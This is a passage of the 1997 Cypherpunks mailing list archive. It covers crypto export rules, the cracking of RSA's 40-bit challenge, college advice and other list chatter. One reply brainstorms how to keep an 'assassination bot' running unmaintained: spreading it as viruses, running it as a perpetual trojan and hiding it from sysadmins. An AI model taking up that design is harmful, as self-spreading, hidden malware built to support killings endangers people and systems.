Date: Tue, 28 Jan 1997 13:56:42 -0800 (PST)
To: "'Phil Karn'" <karn@Qualcomm.com>
Subject: Where's reference? (was:RE: [DES] DES Key Recovery Project, Progress Report #7)
Message-ID: <199701282156.NAA04048@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>>----------
>>From: 	Phil Karn[SMTP:karn@qualcomm.com]
>>>If past cryptographic software is any indication, the DES Cracker
>>>will be available from an overseas ftp site within hours of release in
>>>the US.
>>
>>And lacking that, the author can always print it out on paper and
>>physically mail it out of the country; this is specifically allowed by
>>the new Commerce rules as I understand them. And who's to say that the
>>overseas FTP copies weren't scanned from such a paper copy? :-)
>>
>>Phil
>
Where can I get a reference to this?  I thought you weren't supposed to
transmit
cryptographic code out of the U.S. under any means, including print...
>(???) 
>
>~ Patrick
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Erp <erp@digiforest.com>
Date: Tue, 28 Jan 1997 13:57:24 -0800 (PST)
To: Derek Atkins <warlord@MIT.EDU>
Subject: Re: Best Computer School?
Message-ID: <199701282157.NAA04105@toad.com>
MIME-Version: 1.0
Content-Type: text/plain





On 28 Jan 1997, Derek Atkins wrote:

> Erp <erp@digiforest.com> writes:
> 
> > On Mon, 27 Jan 1997, SpyKing wrote:
> > 
> This is really exagerating.  You do not need a 4.0, 1600, etc. to be
> admitted to MIT.  Sure, you need good grades, but a 3.6 average and
> 1350-1400 SAT scores is perfectly adequate to be admitted to MIT.  You
> can think of being admitted with even lower scores, if you stand out
> in some way.  MIT admissions looks for well-rounded students.  You're
> much better off being a writer/artist/musician than being on the
> science or math teams.
> 

Hmm....  Then a have a lieing blah blah blah of a counselor >)  hehe  I
applied for MIT, and even had an interview..  Then dropped my application
after getting chewed out by my counselor, and having had her refuse to
fill out anything on my second part of the application that said
specifically "COUNSELOR ONLY"  went to the principal and he refused..
Filled it out myself, and since it didn't have the counselors signature ...
I dropped it aka they dropped me but its easier to say it hteo ther way
around.  And yes I understand the well-rounded thing..  But then again you
hav eto consider that the average student at MIT has applied at least two
times.  I know that one for a fact from some program or something I read
that MIT puts out.

> > what he wants to be before he goes to some major college such as MIT,
> > because tuition at MIT costs approx 100,000$/4 years.  Personally that is
> > a hell of a lot, but then again *shrug*...  I recommend going to a local
> 
> It may be alot, but then again MIT is one of the best schools in the
> world (I'm not going to be egotistical enough to say it *is* the best,
> even tho Consumer Reports rated it such for the last N years).

True, it is one of the best, can't argue against that..  But there are
others that are better in certain areas..  from my knowledge MIT expresses
more in its engineering departments than anything else though..  Although
I do know a very philosophical physics professor there so *shrug*..  maybe
I'll apply again some day..  And yes all the rest of my requirements wher
ehigh..  I am a swimteam captain, first trombone in my school, for
marching jazz pep and symphonic bands..  I'm also the lead french horn..
Then I have the little side things such as Chess team captain..  and have
tha precious 3.6 GPA the only proglem with it is I ahve one teacher that
gave me a D in my freshman year, so I can't get into honor society ..  go
figure...  But hey such is life..  I'm planning on reapplying after I get
into college and raise myself back to a 4 point so who knows what will
happen..

> 
> This is untrue.  The computer science department at MIT is really
> good.  As are the sciences, and even business!  The MIT Sloan School
> (Management and Economics) was rated #1 last year.  The EECS
> department (EE and CS are together) is top notch, too.

Really good yes..  Not necessarily the best though..   Check everywhere..
each aspect of every college may have one thing that he is specifically
interested in that would be better than going to MIT or some other such
place3...  

> 
> Ciro Maria <cmaria@stevens-tech.edu> writes:
> 
> > Yeah Stevens Institute in Hoboken. Its pretty good I got there. Also
> > Caltech is good, I don't really know which else.
> 
> When I looked at Caltech, their Engineering (and computer science)
> really lacked.  They were excellent for the Sciences (Math, Physics,
> Chemistry, etc.) but their engineering school wasn't as good as others
> I was looking at (both EE and CS).  Things may have changed in the
> last 8 years, however.

*nod*  I do agree with that...  THey are pretty much the same now..

> 
> 
> Spyking, my advise to you: Look around at many schools.  Go visit
> them.  Talk to the students there.  Talk to the professors.  Talk to
> graduates.  The more information you and your son have, the better
> decisions you and he can make.
> 
> Personally, I loved MIT -- it was the right place for me.  It isn't
> the right place for everyone.  Make sure it is the right place for
> your son before he applies.  For what it's worth, I wanted to go to
> MIT my sophomore year in high school, too ;)


I havet o ask, did you make it in on your first apply to it?

and please forgive the mistypes in this..  I'm really lagged for some
reason..  And well, It takes forever to go back when it is lagged this
bd, so I ahven't can back and changed things automatically like I usually
do...

> 
Thanks,

Erp







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@nowhere.com
Date: Tue, 28 Jan 1997 19:00:48 -0800 (PST)
To: cypherpunks@toad.com
Subject: can Sun Tzu be a cypherpunks?
Message-ID: <199701290300.TAA15126@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Quotations from the Art Of War by Sun Tzu

A Military operation involves deception. Even though you are competent,
appear to be incompetent. Though effective, appear to be ineffective.

Draw them in with the prospect of gain, take them  by confusion.

Use humility to make them haughty. Tire them by flight. Cause division
among them. Attack when they are  unprepared, make your move when they
do not expect it.

The formation and procedure used by the military should not be divulged
beforehand.

Comment: He seems to be advocating security through obscurity here.

The one who figures on victory at headquarters before even doing battle
is the one who has the most strategic factors on his side. The one who
figures on inability  to prevail at headquarters before doing battle is
the  one who has the least strategic factors on his side. The one with
many strategic factors in his favor wins, the one with few strategic
factors in his favor loses--how much more so for the one with no
strategic factors in his favor. Observing the matter this way, I can see
who will win and who will lose.

The superior militarist strikes while schemes are being laid. The next
best is to attack alliances. The next best is to attack the army.

Invincibility is in oneself, vulnerability is in the opponent.

Therefore skilled warriors are able to be invincible, but they cannot
cause opponents to be vulnerable.

That is why it is said that victory can be discerned but not
manufactured.

Invincibility is a matter of defense, vulnerability is a matter of
attack.

Therefore the victories of good warriors are not noted for cleverness or
bravery. Therefore their victories in battle  are not flukes. Their
victories are not flukes because they position themselves where they
will surely win, prevailing over those who have already lost.

So it is that good warriors take their stand on ground where they cannot
lose, and do not overlook conditions  that make an opponent prone to
defeat.

Therefore a victorious army first wins and then seeks battle; a
defeated army first battles and then seeks  victory.

Those who use arms well cultivate the Way and keep the  rules. Thus they
can govern in such a way as to prevail over the corrupt.

Comment: Would it not be wonderful if we could prevail over the corrupt?

Making the armies able to take on opponents without being  defeated is a
matter of unorthodox and orthodox methods.

Therefore those skilled at the unorthodox are infinite as heaven and
earth, inexhaustible as the great rivers. When they come to an end, they
begin again, like the  days and months; they die and are reborn, like
the four seasons.

The unorthodox and the orthodox give rise to each other, like a
beginningless circle--who could exhaust them?

Disorder arises from order, cowardice arises from courage, weakness
arises from strength.

Therefore those who skillfully move opponents make  formations that the
opponents are sure to follow, give what opponents are sure to take. They
move opponents with the prospect of gain, waiting for them in ambush.

To unfailingly take what you attack, attack where  there is no defense.
For unfailingly secure  defense, defend where there is no attack.

So in the case of those who are skilled in attack, their opponents do
not know where to defend. In the case of those skilled in defense, their
opponents do not know where to attack.

Be extremely subtle, even to the point of formlessness. Be extremely
mysterious, even to the point of soundlessness. Thereby you can be the
director of the opponent's fate.

Comment: Are cypherpunks capable of this?

To advance irresistibly, push through their gaps, to retreat elusively,
outspeed them.

Induce them to adopt specific formations, in order to  know the ground
of death and life.

Comment: Sounds like known plaintext attack to me.

Therefore the consummation of forming an army is to arrive at
formlessness. When you have no form, undercover espionage cannot find
out anything, intelligence cannot form a strategy.

Comment: Sun Tzu seems to being saying that if your cipher is properly
designed, you need not rely on security through obscurity.

Victory over multitudes by means of formation is unknowable to the
multitudes. Everyone knows the form by which I am victorious, but no one
knows the form by which  I ensure victory.

Military formation is like water--the form of water is to  avoid the
high and go to the low, the form of a military  force is to avoid the
full and attack the empty; the flow  of water is determined by the
earth, the victory of a military force is determined by the opponent.

So a military force has not constant formation, water has no constant
shape;the ability to gain victory by changing and adapting according to
the opponent is called genius.

Foreknowledge cannot be gotten from ghosts and spirits, cannot be had by
analogy, cannot be found out by  calculation. It must be obtained from
people, people know the conditions of the enemy.
   There are five kinds of spy: The local spy, the inside spy, the
reverse spy, the dead spy, and the living spy. When the five kinds of
spies are all active,  no one knows their routes--this is called 
organizational genius, and is valuable to the leadership.
    Local spies are hired from among the people of a locality; Inside
spies are hired from among enemy  officials. Reverse spies are hired
from enemy spies. Dead spies transmit false intelligence to enemy spies.
Living spies come back to report.

Question: Can cypherpunks use these methods to defeat those
who would take our freedom?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Tue, 28 Jan 1997 16:25:54 -0800 (PST)
To: cypherpunks@toad.com
Subject: c2 internet accounts
Message-ID: <199701290025.QAA08837@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


does c2net still offer internet accounts? I liked their
offer for internet accounts with a 5 mb web site via
telnet. does anyone else know of a place for cheap
telnet only accounts?

thanks;






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ian Goldberg <iang@cs.berkeley.edu>
Date: Tue, 28 Jan 1997 19:00:14 -0800 (PST)
To: cryptography@c2.net
Subject: Last nail for US crypto export policy?
Message-ID: <199701290300.TAA15101@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



EXPORTABLE CRYPTOGRAPHY TOTALLY INSECURE: CHALLENGE CIPHER BROKEN IMMEDIATELY

January 28, 1997 - Ian Goldberg, a UC Berkeley graduate student, announced
today that he had successfully cracked RSA Data Security Inc.'s 40-bit
challenge cipher in just under 3.5 hours.

RSA challenged scientists to break their encryption technology, offering a
$1000 award for breaking the weakest version of the code.  Their offering
was designed to stimulate research and practical experience with the security
of today's codes.

The number of bits in a cipher is an indication of the maximum level of
security the cipher can provide.  Each additional bit doubles the potential
security level of the cipher.  A recent panel of experts recommended
using 90-bit ciphers, and 128-bit ciphers are commonly used throughout
the world, but US government regulations restrict exportable US products
to a mere 40 bits.

Goldberg's announcement, which came just three and a half hours after
RSA started their contest, provides very strong evidence that 40-bit
ciphers are totally unsuitable for practical security.  "This is the
final proof of what we've known for years: 40-bit encryption technology
is obsolete," Goldberg said.

The US export restrictions have limited the deployment of technology
that could greatly strengthen security on the Internet, often affecting
both foreign and domestic users.  "We know how to build strong
encryption; the government just won't let us deploy it.  We need strong
encryption to uphold privacy, maintain security, and support commerce on
the Internet -- these export restrictions on cryptography must be
lifted,"  Goldberg explained.  Fittingly, when Goldberg finally
unscrambled the challenge message, it read: "This is why you should use
a longer key."

Goldberg used UC Berkeley's Network of Workstations (known as the NOW) to
harness the computational resources of about 250 idle machines.  This allowed
him to test 100 billion possible "keys" per hour -- analogous to safecracking
by trying every possible combination at high speed.  This amount of computing
power is available with little overhead cost to students and employees at
many large educational institutions and corporations.

Goldberg is a founding member of the ISAAC computer security research group
at UC Berkeley.  In the Fall of 1995, the ISAAC group made headlines by
revealing a major security flaw in Netscape's web browser.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Date: Tue, 28 Jan 1997 14:13:48 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: Re: Best Computer School?
Message-ID: <199701282213.OAA04786@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




Erp <erp@digiforest.com> wrote in article <5cjlg0$2ij@life.ai.mit.edu>...
> 
> 
> 
> On Mon, 27 Jan 1997, SpyKing wrote:
> 
> > This is a little off topic but maybe someone can help. I've got a teenage
> > son (HS sophomore) who's interested in majoring in computer science in
> > college with a particular interest in cryptography. He's leaning toward MIT.
> > Any suggestions from list members as to colleges to investigate? 
> 
> Well in reference to MIT..  I hope he has a 4.0 in highschool, is an
> allsport, has a 1600 on his SAT's, and a prefect on his ACT..  Just to
> even think about going there..  Let alone to include how well he'll have
> to do on his interviews etc..  Also you may wish to have him look again at
> what he wants to be before he goes to some major college such as MIT,
> because tuition at MIT costs approx 100,000$/4 years. 

Actually MIT does not take notice of SATs, GSATs and other IQ nonsense.
Basically the tests are meaningless at the upper end of the scale which
is where most MIT students would score and a low score does not in itself
demonstate stupidity. 

If he can get in then its difficult to imagine a better school for crypto in the
US. There is a finacial support program and admission is "needs blind" so 
that grants are matched according to need.

> I know pretty well positive that
> MIT is excellent, but when you get down to the basics MIT is more of an
> engineering school than a science/philosophical school which Computer
> Sciences falls under..  Another good school from what I've heard is UCLA..
> then again you can discredit anything I've said, because I'm still a
> HighSchool senior myself and have been looking into Computer Criminology
> for the last three years, and I'm positive it is what i want so *shrug*..

Actually there is a reasonable school for philosophy just up the 
road but its not so good for computer science (it did produce Bill 
Gates.) The AI lab does have a number of people who lean quite
heavilly to the philosophy side.

	Phill





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.crl.com>
Date: Tue, 28 Jan 1997 18:15:14 -0800 (PST)
To: "Vladimir Z. Nuri" <vznuri@netcom.com>
Subject: Re: c2 internet accounts
Message-ID: <199701290215.SAA13437@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Tue, 28 Jan 1997, Vladimir Z. Nuri wrote:

> does c2net still offer internet accounts? I liked their
> offer for internet accounts with a 5 mb web site via
> telnet. does anyone else know of a place for cheap
> telnet only accounts?

C2Net no longer offers new shell accounts and we are phasing out
pre-existing accounts.  We still offer virtual web hosting.


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Martin Janzen <janzen@idacom.hp.com>
Date: Tue, 28 Jan 1997 17:26:25 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Trigger-Words...
Message-ID: <199701290126.RAA11362@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



harka@nycmetro.com writes:
>does anybody know any contact points/Web pages, where I might get
>some information on e-mail filtering via trigger-words? I am
>interested in how this technology specifically works and a
>acollection of trigger-words would be nice too :)

You might start with the Mail Filtering FAQ:

http://www.cis.ohio-state.edu/hypertext/faq/usenet/mail/filtering-faq/faq.html

It's pretty Unix-specific, covering procmail, Elm filter, and mailagent.
For PC-based mailers, you're probably better off checking the documentation
and/or the web page for the one you're using.  Finally, take a look at the
comp.mail.* newsgroups.

Or just use the search engines, throwing in combinations of the above terms...

--
Martin Janzen           janzen@idacom.hp.com
Pegasus Systems Group   c/o Hewlett-Packard Company, CMD Vancouver





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Phil Karn <karn@qualcomm.com>
Date: Tue, 28 Jan 1997 18:58:56 -0800 (PST)
To: MullenP@ndhm06.ndhm.gtegsc.com
Subject: Re: Machine readable form (was:RE: [DES] DES Key Recovery Project, Progress Report #7)
Message-ID: <199701290258.SAA15049@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Read the following text from the introduction to the new December 30,
1996 regulations:

	A printed book or other printed material setting forth encryption
	source code is not itself subject to the EAR (see
	Sec. 734.3(b)(2)). However, notwithstanding Sec. 734.3(b)(2),
	encryption source code in electronic form or media (e.g., computer
	diskette or CD ROM) remains subject to the EAR (see
	Sec. 734.3(b)(3)). The administration continues to review whether and
	to what extent scannable encryption source or object code in printed
	form should be subject to the EAR and reserves the option to impose
	export controls on such software for national security and foreign
	policy reasons.

This seems clear enough. If it's printed on paper, it's kosher for
export. But if we're really overt about it, we may goad the government
into attempting to control printed source code as well. That could
prove most interesting.

Phil





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 28 Jan 1997 18:26:20 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: can Sun Tzu be a cypherpunks?
Message-ID: <199701290226.SAA13870@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


nobody@nowhere.com wrote:

> Question: Can cypherpunks use these methods to defeat those
> who would take our freedom?

WARNING! "The Xenix Chainsaw Massacre" Is A Very Dangerous Document
-------------------------------------------------------------------
	
  It is reputed among many of the top minds in the Computer Industry 
to be a very real, and revealing, documentary of some of the horrors 
of the Industry which are sometimes rumored, but seldom exposed.  
But be warned-they say it in private, not in public.
  Though management at the major Corporations in the Industry brush 
aside the document as the mad ramblings of an unstable, failed 
business executive, the fact remains that there are more and more 
people coming forward who claim to have suffered demotions or loss 
of employment after deliberately or inadvertently revealing their 
support of the document's claims and it's authenticity.

  If you choose to read this manuscript, do not speak of it in casual
conversation at your place of employment, or around strangers in 
any business or social environment.  Though it is almost impossible 
to document cases of reprisal of this nature, the increasing numbers 
of ex-employees of major Corporations in the Computer Industry 
making these claims, and the devastating consequences they allege 
to their professional and private lives, make it wise to be discreet 
in expressing any opinion, or even knowledge, of this document.
  If you choose to share this document with others, it would be wise 
to do so discreetly, even anonymously, should you be unsure of the 
reliability and discretion of whomever you choose to share this 
knowledge with.

  Though I personally lean toward viewing the manuscript as authentic, 
my exhaustive research into it's origin has always come to a dead-end, 
even among the principals involved.
  C.J. Parker, former President of Pearl Harbor Computers, Inc., denied
emphatically, in a face-to-face encounter with  anything whatsoever to 
do with the document.  When I pressed him with questions regarding 
the hasty demise of his business and the unraveling of his personal 
life after the public circulation of "The Xenix Chainsaw Massacre" 
began, he became very agitated and distraught, bordering on violence, 
and the interview was abruptly terminated.
  Dr. William M. Denney, one of the few principals in the manuscript 
referred to directly, was reluctant to be interviewed, but eventually 
made a few comments which I found to be very revealing.  Dr. Denney, 
Vice-President of Basis, Inc. in Emmeryville, Ca., consistently rated 
as one of the top ten Unix Open Systems vendors in the world, said, 
"I deny any knowledge of or participation, in any way whatsoever, 
with anything connected to 'The Xenix Chainsaw Massacre', and it 
would be wise for others to do the same."
  I find this statement to be very cryptic and, at the same time, 
very revealing; very much in line with what would expect from one 
associated with the alleged underground computer society described 
in the manuscript.
  As for Mr. Torry Basford, a former employee of Bell Labs who was 
Mr. Parker's first mentor in the world of Unix and is rumored to be 
laboring in obscurity in a small community college somewhere in the 
southwestern U.S., Mr. Parker would only say, "The man has suffered 
enough, please leave him alone."

 Regardless of the origins or authenticity of the document, it is 
considered by many to be extremely unsettling, perhaps even 
dangerous, and one might be better served to avoid reading the 
manuscript, if for no other reason than simple peace of mind.

___________________________________

 If you would like a copy of the manuscript,
send me a private email indicating a  desire
to receive it.

Toto







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Tue, 28 Jan 1997 17:11:12 -0800 (PST)
To: harka@nycmetro.com
Subject: Re: Trigger-Words...
Message-ID: <199701290111.RAA10710@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


harka@nycmetro.com wrote:
> 
> -----BEGIN PGP SIGNED MESSAGE-----
> 
> Hi there,
> 
> does anybody know any contact points/Web pages, where I might get
> some information on e-mail filtering via trigger-words? I am
> interested in how this technology specifically works and a
> collection of trigger-words would be nice too :)

Look at http://www.algebra.com/~ichudov/usenet/scrm/robomod/robomod.html,
and look for the explanation of how bad.words.list works in my 
robomoderator.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Neil Rogers <tremle@connect-wales.co.uk>
Date: Tue, 28 Jan 1997 13:56:06 -0800 (PST)
To: Access All Areas <cypherpunks@toad.com>
Subject: .hlp creation
Message-ID: <199701282156.NAA04005@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Howdi all, how are you,
Can someone please help me, Can someone create a Windows 3.1 .hlp file fro
me, when opened has a link to FILE MANAGER - U:\W31\winfile.exe
Please, I have tried but can't do one, I would be really gratefull if
someone could help!
Thanks in advance,
Neil
..............





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: stewarts@ix.netcom.com
Date: Tue, 28 Jan 1997 22:10:55 -0800 (PST)
To: Ian Goldberg <iang@cs.berkeley.edu>
Subject: Re: Last nail for US crypto export policy?
Message-ID: <199701290610.WAA20623@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Yee-hah!  Congratulations (and enjoy the $1000 check!)
So what did you do interesting cryptographically in the crack, 
other than coordinating a bunch of workstations?
Was it just brute force with well-tuned code?
Given the figures in your press release, it sounds like you
tested about 350 billion keys out of a trillion possible,
so you hit the winner a shade early.  That's about 400,000 keys/sec/box.
Are the machines mostly Pentiums, Alphas, Suns, etc.?

At 03:59 PM 1/28/97 -0800, Ian Goldberg <iang@cs.berkeley.edu> wrote:
>EXPORTABLE CRYPTOGRAPHY TOTALLY INSECURE: CHALLENGE CIPHER BROKEN IMMEDIATELY
>
>January 28, 1997 - Ian Goldberg, a UC Berkeley graduate student, 
>announced today that he had successfully cracked RSA Data Security 
>Inc.'s 40-bit challenge cipher in just under 3.5 hours.
....
>Goldberg used UC Berkeley's Network of Workstations (known as the NOW) 
>to harness the computational resources of about 250 idle machines.  
>This allowed him to test 100 billion possible "keys" per hour -- 

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: stewarts@ix.netcom.com
Date: Wed, 29 Jan 1997 07:11:22 -0800 (PST)
To: Phil Karn <karn@Qualcomm.com>
Subject: Re: [DES] DES Key Recovery Project, Progress Report #7
Message-ID: <199701291511.HAA03680@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 08:31 PM 1/27/97 -0800, Phil Karn wrote:
>And lacking that, the author can always print it out on paper and
>physically mail it out of the country; this is specifically allowed by
>the new Commerce rules as I understand them. And who's to say that the
>overseas FTP copies weren't scanned from such a paper copy? :-)

At least one PGP site overseas did that - some German university
scanned in a copy of the MIT Press publication of PGP source.
The PGP 3.0 Pre-Alpha code is now available, on paper, from PGP Inc.

Selling copies of PGP overseas, even if exported this way,
might count as "providing a defense service", if that's still illegal
now that crypto export laws have been moved to Commerce Dept.
On the other hand, indemnifying people against copyright suits
from your company _doesn't_ sound like it.... :-)

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Tue, 28 Jan 1997 18:41:02 -0800 (PST)
To: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Subject: Re: Fighting the cybercensor
Message-ID: <199701290241.SAA14333@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Phillip M. Hallam-Baker wrote:
> 
> 
> 
> jim bell <jimbell@pacifier.com> wrote in article <5ch9f2$cuu@life.ai.mit.edu>...
> 
> > Look, I've proposed what I consider to be a remarkably consistent method to 
> > prevent the kind of political tyranny that you criticize, and I don't see 
> > any recognition of this fact.  
> 
> Thats because its a whacko solution that has no credibility
> or consistency. 
> 
> If anyone tried to set up such a market and a price went out
> on any of the heads of state fantasized about Mr Bell would be 
> dead as a doornail in a week.

But, if Jim writes the bot well, puts it in an unknown place (remember,
all communications are done through remailers), he could die, but the
assassination bot would still work.

It may be an interesting problem: what steps are necessary to take to 
provide for the bot maintainers' sudden death in such a way that the bot
would survive for a long time (at least 10 years) w/o any maintenance?

Several things need to be done, such as running several versions of the
bot so that they could all communicate and work as hot standbys in case
one of the instances stops communicating; change their anonymous address
from time to time to deal with shut down remailers; probably slowly 
propagate as virii, so that killing them all would be hard; what else?

It could be done akin to Thompson's famous backdoor in /bin/login, as
a perpetual trojan horse.

How to prevent the bot's detection by sysadmins?

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Tue, 28 Jan 1997 20:11:02 -0800 (PST)
To: aga <aga@dhp.com>
Subject: Re: libsln.htm -- Is Libel a Crime?
Message-ID: <199701290411.UAA17826@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 07:33 AM 1/28/97 -0500, aga wrote:
>On Mon, 27 Jan 1997, jim bell wrote:
>
>> At 01:14 AM 1/27/97 -0600, ichudov@algebra.com wrote:

>> >These postings do not prove that libel is a crime. It is because libel
>> >is not a crime. Libel is a tort, and unlike with crime, the government
>> >cannot initiate a legal action against someone for libel. Only injured
>> >(libeled) individuals and not the government can sue in a libel case.
>> 
>> On the contrary, in some jurisdictions libel is indeed a crime. However, 
>> that doesn't mean that prosecutions happen anymore, but the laws are (in 
>> some places) still  on the books.

>
>Jim, either you are full of shit or that Law is VERY
>unconstitutional.  The first amendment prohibits any Criminal Laws
>from being made against libel.

You'd think that, wouldn't you?  Yes, I agree that those laws are 
unconstitutional, but so is about 90+% of what the Federal government does 
today.  Sigh.

Criminal libel statutes are apparently (in the US, at least) a holdover from 
an earlier era in which government took the place of King George, and wanted 
the power to punish people who were too outspoken.  The fact that they are 
"never" (?) used anymore is presumably a reflection of their 
unconstitutionality.  Criminal libel statues should also be considered 
unconstitutional because they give way too much leeway to the prosecutor to 
decide whom to prosecute.  His friends will never be charged, but his 
enemies will.

One obvious problem with the LACK of a criminal libel statute, from the 
standpoint of the "government-controlling-class," or "the bigshots," is that 
it's impossible to sue (and collect from) a (comparatively) poor person for 
defaming him...but it's still possible to put him in jail.  Civil libel is, 
therefore, essentially useless to a government agent as a means of keeping 
the masses in line.  


Myself, I believe that libel should be eliminated as a cause of action in 
civil cases as well as it has, de facto, in the criminal area.  If anything, 
the ability to sue for libel makes things worse:  There is an illusion that 
this is easy and straightforward, if not economical.  It is neither.  The 
result is that people are actually MORE likely to believe a printed 
falsehood because they incorrectly assume that if it wasn't true, it 
couldn't be printed.




Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Tue, 28 Jan 1997 17:26:25 -0800 (PST)
To: cypherpunks@toad.com
Subject: AltaVista sprouts a hole ...
Message-ID: <199701290126.RAA11363@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Sender: e$@thumper.vmeng.com
Reply-To: Russell Stuart <R.Stuart@rsm.com.au>
MIME-Version: 1.0
Precedence: Bulk
Date: Wed, 29 Jan 1997 08:07:27 +1000
From: Russell Stuart <R.Stuart@rsm.com.au>
To: Multiple recipients of <e$@thumper.vmeng.com>
Subject: AltaVista sprouts a hole ...

From: risko@csl.sri.com (RISKS List Owner)
Newsgroups: comp.risks
Subject: RISKS DIGEST 18.77
Message-ID: <CMM.0.90.1.853810937.risko@chiron.csl.sri.com>

RISKS-LIST: Risks-Forum Digest  Monday 20 January 1997  Volume 18 :
Issue 77

   FORUM ON RISKS TO THE PUBLIC IN COMPUTERS AND RELATED SYSTEMS
(comp.risks)
   ACM Committee on Computers and Public Policy, Peter G. Neumann,
moderator

***** See last item for further information, disclaimers, caveats, etc.
*****
<snip>
------------------------------

Date: Fri, 3 Jan 97 23:52:00 +0100
From: Anders Andersson  <andersa@Mizar.DoCS.UU.SE>
Subject: Leaking WWW surfer interest profiles

I notice that AltaVista's inline advertisements link to a server outside
Digital, "ad.doubleclick.net", and that the URL includes the user's list
of
keywords being searched.  I'm concerned that these URL's may
occasionally
leak information about the user's interests and inclinations to third
parties, information which the user may prefer to keep private.

This is not a new problem that appeared with the inline ads, since also
the
Referer: field of the HTTP protocol discloses to a target server exactly
what AltaVista index page led the user to it.  However, this requires
that
the user willfully follows that link.

If sensitive information being leaked via the Referer: field is a
problem,
the user may obtain client software that withholds Referer: data, either
conditionally or unconditionally.  Also, a user who has asked AltaVista
for
"gay" pages is probably not too concerned about accidentally disclosing
this
fact to the maintainer of said "gay" pages.

However, the doubleclick.net ads appear to bear no relationship to the
keywords being searched, and they appear not only in the URL for the
hyperlink to follow, but also in the IMG SRC URL.  This means that in
order
to avoid disclosing my keyword lists to doubleclick.net, I have to
disable
automatic loading of inline images when using AltaVista!

Why is it that when I perform a search for, say, "gay OR nazi AND
scientology", AltaVista tricks my browser to give this very search
string
away to an advertising company by means of an inline image (the contents
of
which has nothing to do with my search)?  I think I can trust the
AltaVista
maintainers not to save my keyword lists for future analysis, but what
about
an advertising company?

It's kind of serendipity reversed.  When you open a book to look up
information on a specific subject, the book scans your mind to find out
what
other interests and hobbies you have.

Anders Andersson, Dept. of Computer Systems, Uppsala University
Box 325, S-751 05 UPPSALA, Sweden   +46 18 183170   andersa@DoCS.UU.SE

------------------------------

<snip>


Regards
Russell Stuart
Software Development Manager
RSM Technology PTY LTD
----------------------
Phone: +61 7 3844 9631
Fax:   +61 7 3844 9522
Email: R.Stuart@rsm.com.au



--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"The cost of anything is the foregone alternative" -- Walter Johnson
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/
"If *you* don't go to FC97, *I* don't go to FC97"







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Tue, 28 Jan 1997 19:03:21 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Fighting the cybercensor. (fwd)
Message-ID: <199701290303.TAA15228@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Forwarded message:

> Date: Mon, 27 Jan 1997 22:12:36 -0500
> From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
> Subject: Re: Fighting the cybercensor. (fwd)
> 
> Jim Choate <ravage@EINSTEIN.ssz.com> wrote in article <5cg99p$7a@life.ai.mit.edu>...
> 
> The network is largely an intellectual creation. The hardware is
